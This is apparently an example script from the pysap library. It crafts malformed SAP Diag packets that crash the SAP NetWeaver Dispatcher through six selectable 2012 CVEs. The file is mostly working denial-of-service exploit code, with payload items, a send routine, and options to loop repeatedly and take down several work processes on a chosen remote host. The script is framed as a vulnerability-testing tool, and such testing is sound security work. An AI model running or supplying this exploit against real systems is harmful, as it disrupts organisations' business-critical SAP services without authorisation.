#!/usr/bin/env python
# ===========
# pysap - Python library for crafting SAP's network protocols packets
#
# Copyright (C) 2015 by Martin Gallo, Core Security
#
# The library was designed and developed by Martin Gallo from the Security
# Consulting Services team of Core Security.
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
# ==============

# Standard imports
import logging
from time import sleep
from socket import error as SocketError
from optparse import OptionParser, OptionGroup
# External imports
from scapy.config import conf
from scapy.packet import bind_layers
# Custom imports
import pysap
from pysap.SAPNI import SAPNI
from pysap.SAPDiagClient import SAPDiagConnection
from pysap.SAPDiag import SAPDiag, SAPDiagDP, SAPDiagItem


# Bind the SAPDiag layer
bind_layers(SAPNI, SAPDiag,)
bind_layers(SAPNI, SAPDiagDP,)
bind_layers(SAPDiagDP, SAPDiag,)
bind_layers(SAPDiag, SAPDiagItem,)
bind_layers(SAPDiagItem, SAPDiagItem,)


# Set the verbosity to 0
conf.verb = 0


# Command line options parser
def parse_options():

    description = \
    """This example script can be used to tests against Denial of Service vulnerabilities affecting the Dispatcher service. Currently 5 different vulnerabilities can be triggered.
    """

    epilog = "pysap %(version)s - %(url)s - %(repo)s" % {"version": pysap.__version__,
                                                         "url": pysap.__url__,
                                                         "repo": pysap.__repo__}

    usage = "Usage: %prog [options] -d <remote host>"

    parser = OptionParser(usage=usage, description=description, epilog=epilog)

    target = OptionGroup(parser, "Target")
    target.add_option("-d", "--remote-host", dest="remote_host", help="Remote host")
    target.add_option("-p", "--remote-port", dest="remote_port", type="int", help="Remote port [%default]", default=3200)
    target.add_option("--route-string", dest="route_string", help="Route string for connecting through a SAP Router")
    target.add_option("-c", "--cve", dest="cve", type="int", help="Number of CVE to trigger (1-6) [%default]", default=5)
    parser.add_option_group(target)

    misc = OptionGroup(parser, "Misc options")
    misc.add_option("-l", "--loop", dest="loop", action="store_true", help="Loop until the user cancel (Ctrl+C) [%default]", default=False)
    misc.add_option("-n", "--number", dest="number", type="int", help="Number of packets to send each round (work processes to get down) [%default]", default=1)
    misc.add_option("-t", "--time", dest="delay", type="int", help="Time to wait between each round [%default]", default=5)
    misc.add_option("-v", "--verbose", dest="verbose", action="store_true", default=False, help="Verbose output [%default]")
    misc.add_option("--terminal", dest="terminal", default=None, help="Terminal name")
    parser.add_option_group(misc)

    (options, _) = parser.parse_args()

    if not options.remote_host:
        parser.error("Remote host is required")
    if options.cve > 6:
        parser.error("Invalid CVE")

    return options


def send_crash(host, port, item, number, verbose, terminal=None, route=None):
    for i in range(number):
        # Create the connection to the SAP Netweaver server
        try:
            if verbose:
                print("[*] Sending crash #%d" % (i + 1))
            connection = SAPDiagConnection(host, port, init=True, terminal=terminal, route=route)
            connection.send_message([item])
        except SocketError:
            if verbose:
                print("[*] Connection error")


# Main function
def main():
    options = parse_options()

    if options.verbose:
        logging.basicConfig(level=logging.DEBUG)

    print("[*] Testing Dispatcher DoS vulnerabilities on host %s:%d" % (options.remote_host,
                                                                        options.remote_port))

    # Crafting the item according to the CVE selected
    if options.cve == 1:
        print("[*] Crash in DiagTraceHex (CVE-2012-2612) using a DataStream (Diag XML Blob) (requires Dialog Developer Trace enabled at level 2 or 3)")
        item = SAPDiagItem(item_type="DIAG_XMLBLOB", item_length=0xFFFFFFFF, item_value="Crash!")
    elif options.cve == 2:
        print("[*] Crash in DiagTraceHex (CVE-2012-2612) using a variable ST_USER ST_USER_PASSPORT_DATA item (requires Dialog Developer Trace enabled at level 2 or 3)")
        item = SAPDiagItem(item_type="APPL4", item_id="ST_USER", item_sid=0x18, item_length=0xFFFFFFFF, item_value="Crash!")
    elif options.cve == 3:
        print("[*] Crash in DiagTraceAtoms (CVE-2012-2511) using a DYNT ATOM item (requires Dialog Developer Trace enabled at level 2 or 3)")
        item = SAPDiagItem(item_type="APPL4", item_id="DYNT", item_sid=0x02, item_value="\x80" * 8)
    elif options.cve == 4:
        print("[*] Crash in DiagTraceStreamI (CVE-2012-2512) using a RCUI RCUI_CONNECT_DATA item (requires Dialog Developer Trace enabled at level 2 or 3)")
        item = SAPDiagItem(item_type="APPL", item_id="RCUI", item_sid=0x09, item_length=0xFF, item_value="\x12\x1A\x59\x51")
    elif options.cve == 5:
        print("[*] Crash in diaginput (CVE-2012-2513) using a VARINFO MAINAREA_PIXELSIZE item")
        item = SAPDiagItem(item_type="APPL", item_id="VARINFO", item_sid=0x0e, item_value="A" * 10)
    elif options.cve == 6:
        print("[*] Crash in DiagiEventSource (CVE-2012-2514) using a UI_EVENT UI_EVENT_SOURCE item")
        item = SAPDiagItem(item_type="APPL", item_id="UI_EVENT", item_sid=0x01, item_value="A" * 16)

    if options.loop:
        try:
            while True:
                if options.verbose:
                    print("[*] Started a new round")
                send_crash(options.remote_host, options.remote_port, item,
                           options.number, options.verbose, options.terminal,
                           options.route_string)
                sleep(options.delay)
        except KeyboardInterrupt:
            print("[*] Cancelled by the user")
    else:
        print("[*] Selected a single round")
        send_crash(options.remote_host, options.remote_port, item,
                   options.number, options.verbose, options.terminal,
                   options.route_string)
        print("[*] Crash sent, take a look at the work processes !")


if __name__ == "__main__":
    main()
